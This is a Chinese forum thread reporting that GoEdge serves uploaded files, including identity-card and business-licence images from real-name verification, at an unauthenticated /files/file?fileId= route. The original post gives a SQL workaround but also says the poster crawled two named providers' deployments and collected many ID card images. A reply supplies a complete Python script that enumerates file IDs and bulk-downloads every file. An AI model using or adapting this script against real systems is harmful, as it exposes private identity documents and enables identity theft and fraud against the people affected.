搜索
缓存时间00 现在时间00 缓存数据 原来我们都变了,变得不轻易笑了。不再为自由活着,却被生活捆绑着。拥有太多,却不够深刻。晚安!
查看: 918|回复: 3

Goedge静态文件路径未鉴权,泄露用户身份证件信息

[复制链接]
发表于 2024-8-18 04:55:10 | 显示全部楼层 |阅读模式

厌倦了滚动浏览相同的帖子?当您创建帐户后,您将始终回到您离开的地方。使用帐户,不仅可以享受无广告的清爽界面!

您需要 登录 才可以下载或查看,没有账号?注册

×
经测试Goedge用户端上传的静态资源和实名认证时上传的身份证图片全部都在 /files/file 这个路由下

只要用户端地址+/files/file?fileId=1 就可以获取到上传的图片附件(主控端也一样)

虽然上传身份证时在数据库的 isPublic 字段确实是不公开的,但是goedge却没有判断这个字段,还是可以公开访问

目前只有一个临时解决方案,在数据库执行这个这个命令,把证件附件的状态改一下(改了后就访问不了,审核的时候也看不到),这个bug还需要goedge那边进行修复

  1. UPDATE edgefiles SET state = 0 WHERE type = 'user.idcard';
复制代码


根据以上规则,写个脚本就可以批量拿到该系统上传的所有图片文件

方能和安捷自家用的都是Goedge,随便爬一下拿到不少身份证正反面和营业执照的图片

01.jpg
爱生活,爱奶昔~
发表于 2024-8-18 08:24:53 | 显示全部楼层
啊哈哈哈~来不拉力~
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

发表于 2024-8-18 13:20:52 | 显示全部楼层
  1. import requests
  2. import os

  3. # 创建保存图片的文件夹
  4. save_dir = 'downloaded_images'
  5. if not os.path.exists(save_dir):
  6.     os.makedirs(save_dir)

  7. # 循环下载图片
  8. base_url = 'https://域名/files/file?fileId='
  9. start_id = 1
  10. end_id = 129

  11. for file_id in range(start_id, end_id + 1):
  12.     url = f'{base_url}{file_id}'
  13.     response = requests.get(url)
  14.    
  15.     if response.status_code == 200:
  16.         file_path = os.path.join(save_dir, f'image_{file_id}.jpg')
  17.         with open(file_path, 'wb') as f:
  18.             f.write(response.content)
  19.         print(f'Successfully downloaded {file_path}')
  20.     else:
  21.         print(f'Failed to download {url}')

  22. print('All downloads completed.')
复制代码
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

发表于 2024-9-10 14:24:32 | 显示全部楼层
         Goedge的作者真的卖了吗?
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

Powered by Nyarime. Licensed

GMT+8, 2024-12-6 00:33 , Processed in 0.025896 second(s), 13 queries , Gzip On, Redis On
发帖际遇 ·手机版 ·小黑屋 ·RSS ·奶昔网

登录切换风格
快速回复 返回顶部 返回列表